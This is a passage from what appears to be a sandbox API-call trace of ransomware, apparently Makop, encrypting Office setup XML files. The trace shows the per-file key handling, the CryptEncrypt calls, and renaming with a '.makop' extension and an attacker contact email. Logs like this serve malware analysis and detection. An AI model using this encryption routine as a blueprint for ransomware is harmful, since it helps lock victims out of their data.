controller\\proof.fr\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0093.251] GetProcessHeap () returned 0x48a0000 [0093.251] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0093.251] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0093.251] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0093.251] WriteFile (in: hFile=0x114, lpBuffer=0x65745d8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745d8*, lpNumberOfBytesWritten=0x65745a8*=0xe, lpOverlapped=0x0) returned 1 [0093.255] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0093.255] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.255] GetProcessHeap () returned 0x48a0000 [0093.255] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0093.256] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30) returned 1 [0093.256] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0093.256] WriteFile (in: hFile=0x114, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x65745a8*=0x30, lpOverlapped=0x0) returned 1 [0093.256] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0093.256] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0093.256] WriteFile (in: hFile=0x114, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0093.256] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0093.256] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0093.257] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0093.257] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.257] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.257] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5b2, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0x5b2, lpOverlapped=0x0) returned 1 [0093.257] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0x5c0, dwBufLen=0x5c0 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0x5c0) returned 1 [0093.257] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.257] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0x5c0, lpOverlapped=0x0) returned 1 [0093.257] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0093.257] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.258] SetEndOfFile (hFile=0x114) returned 1 [0093.264] GetProcessHeap () returned 0x48a0000 [0093.264] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0093.264] GetProcessHeap () returned 0x48a0000 [0093.264] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0093.264] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 145 [0093.264] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0093.265] CloseHandle (hObject=0x114) returned 1 [0093.266] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bd90c0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0 [0093.266] FindClose (in: hFindFile=0x48c7168 | out: hFindFile=0x48c7168) returned 1 [0093.266] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.en-us", cAlternateFileName="PROOFI~1.EN-")) returned 1 [0093.266] wsprintfW (in: param_1=0x65772f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us") returned 94 [0093.266] wsprintfW (in: param_1=0x6574870, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\*.*") returned 98 [0093.266] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\*.*", lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7168 [0093.266] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.267] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.XML", cAlternateFileName="")) returned 1 [0093.267] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0093.267] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0093.268] GetProcessHeap () returned 0x48a0000 [0093.268] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0093.268] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0093.268] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0093.269] WriteFile (in: hFile=0x114, lpBuffer=0x65745d8*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745d8*, lpNumberOfBytesWritten=0x65745a8*=0x5, lpOverlapped=0x0) returned 1 [0093.273] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0093.273] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.273] GetProcessHeap () returned 0x48a0000 [0093.273] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0093.273] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6574590*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6574590*=0x40) returned 1 [0093.273] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0093.273] WriteFile (in: hFile=0x114, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x65745a8*=0x40, lpOverlapped=0x0) returned 1 [0093.273] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0093.274] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0093.274] WriteFile (in: hFile=0x114, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0093.274] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0093.274] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0093.274] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0093.274] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.275] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.275] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x32b, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0x32b, lpOverlapped=0x0) returned 1 [0093.275] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0x330, dwBufLen=0x330 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0x330) returned 1 [0093.275] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.275] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0x330, lpOverlapped=0x0) returned 1 [0093.275] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0093.275] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x404, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.275] SetEndOfFile (hFile=0x114) returned 1 [0093.281] GetProcessHeap () returned 0x48a0000 [0093.281] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0093.282] GetProcessHeap () returned 0x48a0000 [0093.282] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0093.282] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 154 [0093.282] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0093.283] CloseHandle (hObject=0x114) returned 1 [0093.283] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58c6830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0093.283] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0093.283] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0093.284] GetProcessHeap () returned 0x48a0000 [0093.284] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0093.284] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0093.284] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0093.284] WriteFile (in: hFile=0x114, lpBuffer=0x65745d8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745d8*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0093.289] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0093.289] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.289] GetProcessHeap () returned 0x48a0000 [0093.289] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0093.289] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30) returned 1 [0093.289] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0093.289] WriteFile (in: hFile=0x114, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x65745a8*=0x30, lpOverlapped=0x0) returned 1 [0093.289] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0093.289] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0093.290] WriteFile (in: hFile=0x114, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0093.290] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0093.290] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0093.290] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0093.290] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.290] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.290] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x16fc, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0x16fc, lpOverlapped=0x0) returned 1 [0093.291] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0x1700, dwBufLen=0x1700 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0x1700) returned 1 [0093.292] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.292] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0x1700, lpOverlapped=0x0) returned 1 [0093.292] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0093.292] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x17c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.292] SetEndOfFile (hFile=0x114) returned 1 [0093.298] GetProcessHeap () returned 0x48a0000 [0093.298] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0093.298] GetProcessHeap () returned 0x48a0000 [0093.298] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0093.298] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 151 [0093.299] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0093.303] CloseHandle (hObject=0x114) returned 1 [0093.303] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58c6830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0093.303] FindClose (in: hFindFile=0x48c7168 | out: hFindFile=0x48c7168) returned 1 [0093.303] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROPLUSR", cAlternateFileName="")) returned 1 [0093.303] wsprintfW (in: param_1=0x65772f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR") returned 88 [0093.304] wsprintfW (in: param_1=0x6574870, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\*.*") returned 92 [0093.304] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\*.*", lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7168 [0093.316] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.317] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x170fe40, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.XML", cAlternateFileName="PROPLU~1.XML")) returned 1 [0093.317] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0093.317] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0093.319] GetProcessHeap () returned 